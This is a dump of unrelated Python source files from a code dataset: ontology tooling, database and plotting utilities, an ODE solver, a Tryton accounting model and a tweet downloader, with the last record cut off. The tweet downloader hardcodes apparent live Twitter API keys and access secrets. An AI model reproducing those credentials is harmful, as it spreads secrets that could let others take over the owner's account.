range(len(PolishTimes)):\n# if trig[PolishTimes[i]]==True:\n# trig[i]=False\n \n\n#Zapis danych\nFileName=day+'_'+station_name \nsio.savemat(\"/Users/noon/Documents/Studia/Magisterka/Shifted_times/\"+FileName, {'trig':trig})\n\n\nstart_time = datetime.now()\n#Przesunięcie czasów\ndepth=[10,250,500,750,1000,1500,2000,3000,5000]\nfor i in range(len(depth)):\n file=open(\"/Users/noon/Documents/Studia/Magisterka/13BB_traveltimes/\"+station_name+\"_\"+str(depth[i])+\".txt\",'r')\n lines=file.readlines()\n# for k in range(len(lines)):\n for k in range(3):\n trig_shifted=trig.copy()\n shift=round(float(lines[k][6:11]))\n del trig_shifted[0:shift]\n fileName=day+'_'+station_name+'_'+lines[k][0:5]+\"_\"+lines[k][6:11]+\"_\"+str(depth[i])\n sio.savemat(\"/Users/noon/Documents/Studia/Magisterka/Shifted_times/\"+fileName,{'trig_shifted':trig_shifted})\n \n \nend_time = datetime.now()\nprint('Duration: {}'.format(end_time - start_time)) \n\n \n\n\n","sub_path":"Triggers.py","file_name":"Triggers.py","file_ext":"py","file_size_in_byte":5046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"634356401","text":"import math\nimport xml.etree.ElementTree as ET\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus.reader.wordnet import WordNetError\nfrom diesel.features import SemanticArg, SemanticArgList, FeatureList\nimport os\n\"\"\"\nThe following code loads the TRIPS ontology and provides basic functionality\nfor navigating and using the ontology.\nThe most important algorithm in the Ontology object is the wordfinder algorithm\nwhich leverages the single inheritance of TRIPS and wordnet mappings to\ngeneralize the lexicon covered by the Trips ontology.\n\"\"\"\n\n\nclass OntologyNode:\n # TODO: Implement features and arguments\n def __init__(self,\n name,\n parent=None,\n children=None,\n words=None,\n wordnet=None,\n ont=None,\n weight=1.0,\n arguments=None,\n sem=None,\n non=False,\n var=False):\n self.non = non\n self.var = var\n if arguments is None:\n arguments = []\n self.arguments = arguments\n self.sem = sem\n\n self.name = name\n\n self.parent = parent\n\n self.ont = ont\n\n if children is None:\n self.children = []\n elif type(children) is str:\n self.children = [children]\n elif type(children) is list:\n self.children = children\n else:\n raise ValueError(\n \"children must be either a list of children or a string with a single child\"\n )\n\n if words is None:\n self.words = []\n elif type(words) is str:\n self.words = [words]\n elif type(words) is list:\n self.words = words\n else:\n raise ValueError(\n \"words must be either a list of words or a string with a single word\"\n )\n\n if wordnet is None:\n self.wordnet = []\n elif type(wordnet) is str:\n self.wordnet = [wordnet]\n elif type(wordnet) is list:\n self.wordnet = wordnet\n else:\n raise ValueError(\n \"wordnet must be either a list of senses or a string with a single sense\"\n )\n\n self.weight = weight\n self._vector = None\n\n @property\n def vector(self):\n if self._vector:\n return self._vector[:]\n vector = [0] * len(self.ont.data)\n if self.name == \"root\":\n self._vector = vector\n return vector[:]\n for i, t in self.ont.indexed:\n vector[i] = 1 - self.wup_ont(self.ont.get(t))\n self._vector = vector\n return self._vector[:]\n\n @property\n def index(self):\n return self.ont.index(self)\n\n # the following functions return copies of the nodes to avoid mutability issues.\n\n def is_parent_of(self, other):\n if other.get_parent() is None:\n return False\n if other.get_parent() == self:\n return True\n return self.is_parent_of(other.get_parent())\n\n def is_child_of(self, other):\n return other.is_parent_of(self)\n\n def get_child_names(self):\n \"\"\"get a copy the names of the children of this node\"\"\"\n return [c for c in self.children]\n\n def get_parent_name(self):\n \"\"\"get the name of the parent of this node\"\"\"\n return self.parent\n\n def get_words(self):\n \"\"\"get a copy of the list of words for this node\"\"\"\n return [w for w in self.words]\n\n def get_senses(self):\n \"\"\"get a copy of the senses for this node\"\"\"\n return [s for s in self.wordnet]\n\n # the following functions return the nodes themselves\n def get_parent(self):\n \"\"\"get the parent node\"\"\"\n return self.ont.get(self.parent)\n\n def get_children(self):\n \"\"\"get the child nodes\"\"\"\n return [self.ont.get(i) for i in self.children]\n\n def depth(self):\n if self.parent is None:\n return 0\n else:\n return self.get_parent().depth() + 1\n\n def path_to_root(self):\n path = self._path_to_root()\n return path\n\n def _path_to_root(self):\n if self.parent is None:\n return []\n else:\n path_to_me = self.get_parent()._path_to_root()\n path_to_me.append(self)\n return path_to_me\n\n def get_max_depth_below(self):\n if len(self.children) == 0:\n return 0\n else:\n return max([\n c.get_max_depth_below() + c.weight\n for c in self.get_children()\n ])\n\n def lcs(self, other):\n \"\"\"\n :param other:\n :return: The least common subsumer\n \"\"\"\n if type(other) is str:\n other = self.ont[other]\n if self == other:\n return self\n my_path = self.path_to_root()\n other_path = other.path_to_root()\n\n lso = self\n while (len(my_path) > 0\n and len(other_path) > 0) and my_path[0] == other_path[0]:\n lso = my_path[0]\n my_path = my_path[1:]\n other_path = other_path[1:]\n if type(lso) is str:\n lso = self.ont[lso]\n return lso\n\n def shortest_path_to(self, other):\n \"\"\"\n Shortest path to other\n :param other:\n :return:\n \"\"\"\n if type(other) is str:\n other = self.ont[other]\n if self == other:\n return 0 # does this break things??\n my_path = set([s.name for s in self.path_to_root()])\n other_path = set([s.name for s in other.path_to_root()])\n\n steps = (my_path - other_path).union(other_path - my_path)\n\n return sum([self.ont.get(p).weight for p in steps])\n\n def wup_ont(self, other):\n if self.ont is None or other.ont is None or self.ont.get(\n self.name) is None or other.ont.get(other.name) is None:\n if self.name == other.name:\n return 1.0\n else:\n return 0.0\n else:\n return self.wup(other)\n\n def wup(self, other):\n \"\"\"\n Wupalmer distance between self and other\n :param other:\n :return:\n \"\"\"\n lso_depth = self.lcs(other).depth()\n return (2.0 * lso_depth) / (\n self.shortest_path_to(other) + 2 * lso_depth)\n\n def cosine(self, other):\n \"\"\"\n cosine similarity over L1 embedding of trips ontology\n :param other:\n :return:\n \"\"\"\n lso_depth = self.lcs(other).depth()\n a = self.depth()\n b = other.depth()\n\n return lso_depth / math.sqrt(a * b)\n\n def normalized_shortest_path(self, other):\n \"\"\"\n 1 - Shortest path between self and other, normalized by the maximal\n possible path within the ontology\n :param other:\n :return:\n \"\"\"\n return float(2 * self.ont.max_depth - self.shortest_path_to(other)) / (\n 2 * self.ont.max_depth)\n\n def __str__(self):\n return \"ont::\" + self.name\n\n def __repr__(self):\n return str(self)\n\n def __hash__(self):\n return hash(str(self))\n\n def __eq__(self, other):\n return str(self) == str(other) and type(self) == type(other)\n\n\ndef load_ontology_file(ontology_path, name):\n fname = os.path.join(ontology_path, name)\n data = ET.parse(fname)\n root = data.getroot()\n words = []\n children = []\n wordnet = []\n arguments = []\n sem = None\n for child in root:\n if child.tag == \"WORD\":\n words.append(child.attrib[\"name\"])\n elif child.tag == \"MAPPING\":\n if child.attrib[\"to\"] == \"wordnet\":\n wordnet.append(child.attrib[\"name\"])\n elif child.tag == \"CHILD\":\n children.append(child.attrib[\"name\"])\n elif child.tag == \"ARGUMENT\":\n # arguments populated here\n role = child.attrib[\"role\"]\n opt = child.attrib[\"optionality\"]\n fltp = child.attrib[\"fltype\"] # can be or-type\n overrides = {}\n for c in child:\n if c.tag == \"FEATURES\":\n overrides = {x: c.attrib[x] for x in c.attrib}\n arguments.append(SemanticArg(role, opt, fltp, overrides))\n elif child.tag == \"SEM\":\n # sem populated here\n sem = child.attrib[\"fltype\"]\n overrides = {}\n for c in child:\n if c.tag == \"FEATURES\":\n # BUG: Many feature definitions have an or-structure in the\n # definition and hence screw up at load time.\n # Ideally, I should allow or-features, or I could\n # Find all the examples of them and re-write them\n # with common parents\n overrides = {x: c.attrib[x] for x in c.attrib}\n sems = FeatureList(sem, overrides)\n\n name = name.split(\"_\", 1)[1].rsplit(\".\", 1)[0]\n return OntologyNode(\n name,\n parent=None,\n children=children,\n words=words,\n wordnet=wordnet,\n arguments=SemanticArgList(arguments),\n sem=sems)\n\n\nclass Ontology:\n def __init__(self, ont):\n self.data = ont\n self.root = self.get(\"root\")\n self._max_depth = None\n self.word_map = {}\n self.synset_map = {}\n self.indexed = list(enumerate(sorted(list(self.data.keys()))))\n self._index = {i: ont.get(n) for i, n in self.indexed}\n self._rev_index = {ont.get(n): i for i, n in self.indexed}\n\n for d in self.data:\n words = self.data[d].get_words()\n for w in words:\n if w not in self.word_map:\n self.word_map[w] = []\n self.word_map[w].append(self.data[d])\n wnkeys = self.data[d].get_senses()\n for key in wnkeys:\n try:\n syn = wn.lemma_from_key(key).synset()\n if syn not in self.synset_map:\n self.synset_map[syn] = []\n self.synset_map[syn].append(self.data[d])\n except WordNetError:\n print(\"{} is an invalid wordnet key\".format(key))\n continue\n\n def index(self, k):\n if type(k) is str:\n if k.isdigit():\n k = int(k)\n else:\n k = self.get(k)\n if type(k) is int:\n return self._index.get(k, None)\n elif type(k) is OntologyNode:\n return self._rev_index.get(k, -1)\n else:\n return None\n\n def wupsim(self, n1, n2):\n if type(n1) is str:\n n1 = self.get(n1)\n if type(n2) is str:\n n2 = self.get(n2)\n return n1.wup_ont(n2)\n\n @property\n def max_depth(self):\n if self._max_depth is None:\n self._max_depth = self.root.get_max_depth_below()\n return self._max_depth\n\n def get(self, type_query):\n if type_query in self.data:\n return self.data[type_query]\n else:\n return None\n\n def get_node(self, type_query, non=False):\n if type_query.lower() == \"\":\n return OntologyNode(\"var\", var=True)\n t = self.get(type_query)\n if non and t is None:\n t = OntologyNode(type_query, non=True)\n return t\n\n def get_word(self, word):\n if word in self.word_map:\n return [t for t in self.word_map[word]]\n else:\n return []\n\n def get_wordnet(self, key, max_depth=-1, with_hierarchy=False):\n \"\"\"\n Use the wordfinder algorithm to go up the wordnet hierarchy until all\n possible ontology types are found for a\n given key\n :param key: a wordnet sense\n :param max_depth: the maximum depth to search wordnet\n :return: list of trips types which could correspond to the wn sense\n \"\"\"\n if type(key) is str:\n synset = wn.lemma_from_key(key).synset()\n else:\n synset = key\n paths = synset.hypernym_paths()\n types = []\n for p in paths:\n p.reverse()\n if max_depth > 0:\n p = p[:max_depth]\n hier = []\n for s in p: # start with the lowest down\n hier.append(s)\n if s in self.synset_map:\n types.append((self.synset_map[s], hier[:]))\n break\n if with_hierarchy:\n return types\n res = set()\n x = [t[0] for t in types]\n for y in x:\n res.update(y)\n return res\n\n def lookup(self,\n word,\n wordnet_only=False,\n max_depth=-1,\n pos=None,\n with_hierarchy=False):\n \"\"\"\n Return the results of both a wordnet and lexical lookup.\n Warning: if wordnet_only is False and with_hierarchy is True, wsh\n :param word:\n :param wordnet_only:\n :param max_depth:\n :param pos:\n :param with_hierarchy:\n :return: ontology types that could match the given word\n \"\"\"\n if pos:\n pos = pos.lower()\n if pos[0] == \"n\":\n pos = wn.NOUN\n elif pos[0] == \"v\":\n pos = wn.VERB\n elif pos.startswith(\"adv\"):\n pos = wn.ADV\n elif pos.startswith(\"adj\"):\n pos = wn.ADJ\n else:\n pos = None\n\n syns = wn.synsets(word, pos)\n if pos == wn.ADJ:\n syns.extend(wn.synsets(word, wn.ADJ_SAT))\n syns = list(set(syns)) # dedupe\n from_wn = []\n for s in syns:\n from_wn.extend(\n [t for t in self.get_wordnet(s, max_depth, with_hierarchy)])\n if wordnet_only:\n if with_hierarchy:\n return from_wn\n return list(set(from_wn))\n from_lex = self.get_word(word)\n return from_lex + from_wn\n\n\ndef load_ontology(ontology_path):\n \"\"\"\n Load the trips ontology from xml format\n :param ontology_path:\n :return: an ontology object\n \"\"\"\n data = {\n fn.split(\"_\", 1)[1].rsplit(\".\", 1)[0]: load_ontology_file(\n ontology_path, fn)\n for fn in os.listdir(ontology_path) if fn.startswith(\"ONT\")\n }\n ont = Ontology(data)\n\n for name, node in data.items():\n node.ont = ont\n for child in node.children:\n data[child].parent = name\n\n # How to override weights\n # ont.get(\"abstract-object\").weight = 100\n # ont.get(\"phys-object\").weight = 100\n # ont.get(\"situation-root\").weight = 100\n\n return ont\n\n\n# if __name__ == \"__main__\":\n# import sys\n# if len(sys.argv) < 1:\n# path = \"/Users/mechko/Projects/tests/trips/etc/XMLTrips/lexicon/data\"\n# else:\n# path = sys.arg[0]\n# print(path)\n# ontology = load_ontology(path)\n# for name,node in ontology.data.items():\n# print(node.parent, name, node.children, node.words, node.wordnet)\n","sub_path":"diesel/ontology.py","file_name":"ontology.py","file_ext":"py","file_size_in_byte":15099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"289561111","text":"import mysql.connector\nimport time\nimport random\nimport env\n\nDATABASE = mysql.connector.connect(\n host=env.DB_HOST,\n user=env.DB_USER,\n passwd=env.DB_PASS,\n database=\"db_znam\"\n)\n\nmycursor = DATABASE.cursor()\n\ndef sortRanks():\n start_time = time.time()\n\n sql = \"SELECT ID, Rank, Score FROM tbl_leaderboard\"\n mycursor.execute(sql)\n myresult = mycursor.fetchall()\n\n myresult = sorted(myresult, key=lambda r: r[2], reverse=True) #ORDER BY Score DESC\n\n processed = list()\n\n cRank = 1\n cScore = myresult[0][2]\n lres = len(myresult)\n for i in range(0, lres):\n cList = list(myresult[i])\n score = cList[2]\n oldRank = cList[1]\n\n if (cScore == score):\n cList[1] = cRank\n else:\n cRank += 1\n cList[1] = cRank\n cScore = score\n \n if (oldRank != cRank):\n processed.append(cList)\n\n for i in range(0, len(processed)):\n sql = \"UPDATE tbl_leaderboard SET Rank = %s WHERE ID = %s\"\n val = (processed[i][1], processed[i][0])\n\n mycursor.execute(sql, val)\n\n DATABASE.commit()\n\n elapsed_time = time.time() - start_time\n print(\"Took {:.4f} s to sort the ranks in the database\".format(elapsed_time))\n\nsortRanks()","sub_path":"python/newranks_memory.py","file_name":"newranks_memory.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"290381330","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef data_from_node(df, node):\n \"\"\"\n Takes as input the number of the desired node and dataframe\n This function returns a dataframe containing the data belonging to a node\n \"\"\"\n return df[df['TOPO.dst'] == node]\n\n\ndef filter_time(df, time):\n \"\"\"\n Takes as input the dataframe and the desired time to takes samples from\n Returns a dataframe containing samples where the time was found between the interval time_in and time_out\n That is returns the samples representing a message that was being executed in the passed time in the argument\n \"\"\"\n return df[(df['time_in'] < time) & (time < df['time_out'])]\n\n\ndef ts_memory(df, node, param):\n \"\"\"\n This functions takes as input a dataframe a node and the parameters\n Returns an array of time series with the used memory of the node at each time-step\n \"\"\"\n ts_memory = []\n\n df = data_from_node(df, node)\n\n for time in tqdm(range(param.simulation_time)):\n memory = 0\n for idx, data in filter_time(df, time).iterrows():\n memory += data['memory']\n\n ts_memory.append([time, memory])\n\n return pd.DataFrame(data=ts_memory, columns=[\"time\", \"memory\"])\n\n\ndef ts_memory_ds(df, node, param):\n \"\"\"\n This functions takes as input a dataframe a node and the parameters\n Returns a dataframe of time series with the used memory of the node at each time-step\n \"\"\"\n ts_memory = []\n\n df = data_from_node(df, node)\n\n for time in tqdm(list(np.arange(0, param.simulation_time, 0.1))):\n memory = 0\n for idx, data in filter_time(df, time).iterrows():\n memory += data['memory']\n\n ts_memory.append([time, memory])\n\n return pd.DataFrame(data=ts_memory, index=[\"time\", \"memory\"])\n\ndef plot_ts(data, node):\n \"\"\"\n This function take as input a time-series and plots it\n \"\"\"\n plt.figure(figsize=(15, 6))\n plt.title('Time series')\n plt.xlabel('Time')\n plt.ylabel('Memory usage Node ' + str(node))\n plt.ylim(0, max(data)+100)\n plt.plot(data)\n plt.show()\n\n\ndef univariate_data(dataset, start_index, end_index, history_size, target_size):\n data = []\n labels = []\n\n start_index = start_index + history_size\n if end_index is None:\n end_index = len(dataset) - target_size\n\n for i in range(start_index, end_index):\n indices = range(i - history_size, i)\n # Reshape data from (history_size,) to (history_size, 1)\n data.append(np.reshape(dataset[indices[0]:indices[-1]+1].values, (history_size, 1)))\n labels.append(np.reshape(dataset[i: i + target_size].values, (target_size, 1)))\n return np.array(data), np.array(labels)\n\n\ndef create_time_steps(length):\n return list(range(-length, 0))\n\n\ndef show_plot(plot_data, delta, title):\n labels = ['History', 'True Future', 'Model Prediction']\n marker = ['.-', 'rx-', 'go-']\n time_steps = create_time_steps(plot_data[0].shape[0])\n\n future = range(delta)\n plt.figure(figsize=(14, 8))\n plt.title(title)\n for i, x in enumerate(plot_data):\n if i:\n plt.plot(future, plot_data[i].flatten(), marker[i], markersize=5,\n label=labels[i])\n else:\n plt.plot(time_steps, plot_data[i].flatten(), marker[i], label=labels[i])\n plt.legend()\n plt.xlim([time_steps[0], (future[-1]+5)*2])\n plt.xlabel('Time-Step')\n plt.show()\n\n\ndef line_plot(line1, line2, label1=None, label2=None, title='Memory usage True vs Pred', lw=2):\n fig, ax = plt.subplots(1, figsize=(13, 7))\n ax.plot(line1, label=label1, linewidth=3)\n ax.plot(line2, label=label2, linewidth=1)\n ax.set_ylabel('Memory usage', fontsize=14)\n ax.set_title(title, fontsize=16)\n ax.legend(loc='best', fontsize=16)\n\n\ndef ms_val(y_val):\n y_val_plot = []\n for i in range(len(y_val)):\n if i == len(y_val) - 1:\n for j in range(len(y_val[i])):\n y_val_plot.append(y_val[i][j])\n else:\n y_val_plot.append(y_val[i][0])\n return np.array(y_val_plot)\n\n\ndef avg_pred(y_pred):\n avg_pred = []\n f_steps = y_pred.shape[1]\n w = np.zeros((f_steps))\n\n for idx, p in enumerate(y_pred):\n w += p\n if idx >= f_steps - 1:\n avg_pred.append(w[0] / f_steps)\n elif idx == len(y_pred) - 1:\n div = f_steps\n for j in range(len(y_pred[idx])):\n avg_pred.append(w[j] / div)\n div = div - 1\n else:\n avg_pred.append(w[0] / (idx + 1))\n w = np.roll(w, -1)\n w[f_steps - 1] = 0\n\n return np.array(avg_pred)","sub_path":"tests/test4/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"570307556","text":"import json\nimport zeeguu\nfrom urllib import quote_plus\nfrom urllib2 import urlopen\n\ndef translate_using_the_google_API(from_lang_code, to_lang_code, word):\n translate_url = \"https://www.googleapis.com/language/translate/v2\"\n api_key = zeeguu.app.config.get(\"TRANSLATE_API_KEY\")\n # quote replaces the unicode codes in \\x notation with %20 notation.\n # quote_plus replaces spaces with +\n # The Google API prefers quote_plus,\n # This seems to be the (general) convention for info submitted\n # from forms with the GET method\n url = translate_url + \\\n \"?q=\" + quote_plus(word.encode('utf8')) + \\\n \"&target=\" + to_lang_code.encode('utf8') + \\\n \"&format=text\".encode('utf8') + \\\n \"&source=\" + from_lang_code.encode('utf8') + \\\n \"&key=\" + api_key\n result = json.loads(urlopen(url).read())\n translation = result['data']['translations'][0]['translatedText']\n return translation\n","sub_path":"zeeguu/translation/google_api.py","file_name":"google_api.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"631646107","text":"from fractions import Fraction\nimport matplotlib.pyplot as plt\nimport numpy as np \n\ndef runge_kutter(f, h, x, y):\n k1 = f(x, y)\n k2 = f(x + h/2, y + h/2 * k1)\n k3 = f(x + h/2, y + h/2 * k2)\n k4 = f(x + h, y + h * k3)\n\n return y + h * (\n Fraction(1, 6) * k1 + \n Fraction(1, 3) * k2 + \n Fraction(1, 3) * k3 + \n Fraction(1, 6) * k4\n )\n\nf = lambda x,y : Fraction(2, 3) * y - Fraction(2, 3) * y**2\n\nx0 = 0\ny0 = 3\nh = 0.05\nx = []\ny = []\n\nwhile x0 <= 10:\n y0 = runge_kutter(f, h, x0, y0)\n x0 += h\n print(x0.__round__(2), y0)\n x += [x0.__round__(2)]\n y += [y0]\n\nplt.plot(x, y, \"r--\")\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.grid(True)\nplt.show()\n","sub_path":"Python/ma3_13.py","file_name":"ma3_13.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"400329142","text":"__author__ = 'shubham'\n\nimport ownModule\nimport tweepy\n\n# Twitter API credentials\n\nconsumer_key = \"RGVO3CTujE60TW5IQy1JwmyxF\"\nconsumer_secret = \"ziWzApZCAqlwOt3xK3L0B02VjEsDFZg4Fniy76TsTLKgtnjqlG\"\naccess_key = \"1587880604-1tjWpdETzVE4fPALCGeNs6O2oHi4y8ShwIsDQSl\"\naccess_secret = \"wJHBahm2y3KnTXuuj2JX18GAolaHVMnLKZ7Ygc0LxnQMH\"\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_key, access_secret)\n\n\ndef get_all_hash(name):\n hashtag = name\n api = tweepy.API(auth)\n print(\"Tweets downloading has started !!\")\n maxTweets = 100 # Some arbitrary large number\n tweetsPerQry = 100 # this is the max the API permits\n fName = 'HDFCTweets.txt' # We'll store the tweets in a text file.\n\n # If results from a specific ID onwards are reqd, set since_id to that ID.\n # else default to no lower limit, go as far back as API allows\n sinceId = None\n\n # If results only below a specific ID are, set max_id to that ID.\n # else default to no upper limit, start from the most recent tweet matching the search query.\n max_id = -1\n\n tweets = []\n tweetCount = 0\n print(\"Downloading max {0} tweets\".format(maxTweets))\n file_folder = ownModule.createFileFolder()\n if '\\\\' in file_folder:\n file_folder += '\\\\'\n else:\n file_folder += '/'\n with open(ownModule.removeFileIfExists(file_folder + fName), 'w') as f:\n while tweetCount < maxTweets:\n try:\n if (max_id <= 0):\n if (not sinceId):\n new_tweets = api.search(q=hashtag, count=tweetsPerQry)\n else:\n new_tweets = api.search(q=hashtag, count=tweetsPerQry, since_id=sinceId)\n else:\n if (not sinceId):\n new_tweets = api.search(q=hashtag, count=tweetsPerQry, max_id=str(max_id - 1))\n else:\n new_tweets = api.search(q=hashtag, count=tweetsPerQry, max_id=str(max_id - 1), since_id=sinceId)\n if not new_tweets:\n print(\"No more tweets found\")\n break\n for tweet in new_tweets:\n tweets.append(tweet.text)\n tweetCount += len(new_tweets)\n print(\"Downloaded {0} tweets\".format(tweetCount))\n max_id = new_tweets[-1].id\n except tweepy.TweepError as e:\n # Just exit if any error\n print(\"some error : \" + str(e))\n break\n\n return tweets\n\n\ndef main():\n hash_tag = \"#HDFC\"\n tweets = get_all_hash(hash_tag)\n file_folder = ownModule.createFileFolder()\n if '\\\\' in file_folder:\n file_folder += '\\\\'\n else:\n file_folder += '/'\n save_file = open(ownModule.removeFileIfExists(file_folder + \"HDFCTweets\" + '.txt'), 'a')\n post_no = 1\n for tweet in tweets:\n print(tweet)\n save_file.write(\"POST No: \" + str(post_no) + \" \")\n save_file.write(tweet.encode('ascii', 'ignore').decode())\n save_file.write(\"\\n\")\n post_no += 1\n save_file.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"dtugeeks-major-project-1-5a67a8f3524f/source/downloadingTweets.py","file_name":"downloadingTweets.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"283724533","text":"import xlrd\n\n#open an excel file\ndata = xlrd.open_workbook(raw_input('input the full path: \\n'))\n#open an txt file\ntxt = open(raw_input('input the file name:\\n'),'w')\n\n#get a worksheet\ntable = data.sheets()[0]\n\"\"\"\n#get row_values and col_values\ntable.row_values()\ntable.col_values()\n\n#get the number of the row and col\n\nnrows = table.nrows\nncols = table.ncols\n\"\"\"\nfor i in table.nrows:\n table.row_values(i)\n\n","sub_path":"operate_xls.py","file_name":"operate_xls.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"173499616","text":"import json, requests, base64\nfrom model import db, sculptures\n\n\ndef base64_photo():\n API = 'https://source.unsplash.com/random/700x400'\n\n res = requests.get(API, allow_redirects=True)\n print(\"========\")\n print(res.url)\n print(\"========\")\n # enc = base64.b64encode(res.content)\n # enc = str(enc.decode(\"utf-8\"))\n\n return str(res.url)\n\n\nall_sculpture = json.loads(open('test_data_sculpture.json').read())\nall_sculpture = all_sculpture['sculpture']\n\nfor data in all_sculpture:\n artist_id = data['artist_id']\n name = data['name']\n description = data['description']\n photo = base64_photo()\n\n new_artist = sculptures(artist_id, name, photo, description)\n\n db.session.add(new_artist)\n db.session.commit()\n\n print(name + \" added\")\n","sub_path":"restful-api/test_add_sculpture.py","file_name":"test_add_sculpture.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"155533064","text":"# This file is part of Tryton. The COPYRIGHT file at the top level of\n# this repository contains the full copyright notices and license terms.\nfrom sql import Table\n\nfrom trytond import backend\nfrom trytond.model import ModelView, ModelSQL, fields, Unique\nfrom trytond.transaction import Transaction\nfrom trytond.pool import Pool\nfrom trytond.pyson import Eval\n\n\nclass Journal(ModelSQL, ModelView):\n 'Statement Journal'\n __name__ = 'account.statement.journal'\n name = fields.Char('Name', required=True)\n journal = fields.Many2One('account.journal', 'Journal', required=True,\n domain=[('type', '=', 'statement')])\n currency = fields.Many2One('currency.currency', 'Currency', required=True)\n company = fields.Many2One('company.company', 'Company', required=True,\n select=True)\n company_party = fields.Function(\n fields.Many2One('party.party', \"Company Party\"),\n 'on_change_with_company_party')\n validation = fields.Selection([\n ('balance', 'Balance'),\n ('amount', 'Amount'),\n ('number_of_lines', 'Number of Lines'),\n ], 'Validation Type', required=True)\n bank_account = fields.Many2One(\n 'bank.account', \"Bank Account\",\n domain=[\n ('owners.id', '=', Eval('company_party', -1)),\n ('currency', '=', Eval('currency', -1)),\n ],\n depends=['company_party', 'currency'])\n account = fields.Many2One('account.account', \"Account\", required=True,\n domain=[\n ('type', '!=', None),\n ('closed', '!=', True),\n ('company', '=', Eval('company')),\n ],\n depends=['company'])\n\n @classmethod\n def __setup__(cls):\n super(Journal, cls).__setup__()\n cls._order.insert(0, ('name', 'ASC'))\n t = cls.__table__()\n cls._sql_constraints = [\n ('bank_account_unique',\n Unique(t, t.bank_account, t.company),\n 'account_statement.msg_journal_bank_account_unique'),\n ]\n\n @classmethod\n def __register__(cls, module_name):\n cursor = Transaction().connection.cursor()\n table = backend.TableHandler(cls, module_name)\n sql_table = cls.__table__()\n journal_account = Table('account_journal_account')\n\n created_account = not table.column_exist('account')\n\n super(Journal, cls).__register__(module_name)\n\n # Migration from 4.8: new account field\n if created_account and table.table_exist('account_journal_account'):\n value = journal_account.select(journal_account.credit_account,\n where=((journal_account.journal == sql_table.journal)\n & (journal_account.credit_account\n == journal_account.debit_account)))\n # Don't use UPDATE FROM because SQLite does not support it.\n cursor.execute(*sql_table.update([sql_table.account], [value]))\n\n @staticmethod\n def default_currency():\n if Transaction().context.get('company'):\n Company = Pool().get('company.company')\n company = Company(Transaction().context['company'])\n return company.currency.id\n\n @staticmethod\n def default_company():\n return Transaction().context.get('company')\n\n @fields.depends('company')\n def on_change_with_company_party(self, name=None):\n if self.company:\n return self.company.party.id\n\n @staticmethod\n def default_validation():\n return 'balance'\n\n @classmethod\n def get_by_bank_account(cls, company, number):\n journals = cls.search([\n ('company', '=', company),\n ['OR',\n ('bank_account.numbers.number', '=', number),\n ('bank_account.numbers.number_compact', '=', number),\n ],\n ])\n if journals:\n journal, = journals\n return journal\n","sub_path":"account_statement/journal.py","file_name":"journal.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"334929222","text":"import pickle as pkl\nimport re\n\ndef dataRead(path):\n print (\"processing: \", path)\n file = open(path, \"r\")\n instances = file.read().strip().split('\\n\\n')\n list1 = []\n list2 = []\n list3 = []\n list4 = []\n list5 = []\n list6 = []\n list7 = []\n list8 = []\n list9 = []\n list10 = []\n list11 = []\n list12 = []\n for instance in instances:\n lines = instance.strip().split(\"\\n\")\n\n # ------------------------------------------------\n\n # value1 = lines[5].lower()\n # value2 = lines[1].lower()\n # value3 = lines[6].lower()\n #\n # # value1 = re.sub(\"e.g\\s\\.\", \"e.g.\", value1) # \"e.g .\" to \"e.g.\"\n # # value1 = re.sub(\"i.e\\s\\.\", \"e.g.\", value1) # \"i.e .\" to \"i.e.\"\n # value1 = re.sub(\"\\s\\.\", \"\", value1) # delete \" .\"\n # value1 = re.sub(\"\\(\", \" ( \", value1) # delete \" .\"\n # value1 = re.sub(\"\\)\", \" ) \", value1) # delete \" .\"\n # value1 = re.sub(\"drug_n\", \" drug_n \", value1) # \"drug_n14\" to \"drug_n 14\"\n # value1 = re.sub(\"drug_1\", \" drug_1 \", value1) # \"drug_114\" to \"drug_1 14\"\n # value1 = re.sub(\"drug_2\", \" drug_2 \", value1) # \"drug_214\" to \"drug_2 14\"\n # value1 = re.sub(\"\\d+\\,\\d+\\s\", \" TAG_OF_DIGIT \", value1) # \"drugs1,3\" to \"drugs 1,3\"\n #\n # value3 = re.sub(\"\\prp\\s\\$\", \"prp$\", value3) # \"prp $\" to \"prp$\", \"wp $\" to \"wp$\"\n # value3 = re.sub(\"\\wp\\s\\$\", \"wp$\", value3) # \"prp $\" to \"prp$\", \"wp $\" to \"wp$\"\n\n\n # ----------------------------------------------------\n\n # value1 = lines[0].lower()\n # value2 = lines[1].lower()\n # value3 = lines[2].lower()\n # value4 = lines[3].lower()\n # value5 = lines[4].lower()\n # value6 = lines[5].lower()\n # value7 = lines[6].lower()\n # value8 = lines[7].lower()\n # value9 = lines[8].lower()\n # value10 = lines[9].lower()\n #\n #\n # value6 = re.sub(\"\\s\\.\", \"\", value6) # delete \" .\"\n # value6 = re.sub(\"\\(\", \" ( \", value6) # delete \" (\"\n # value6 = re.sub(\"\\)\", \" ) \", value6) # delete \" )\"\n # value6 = re.sub(\"drug_n\", 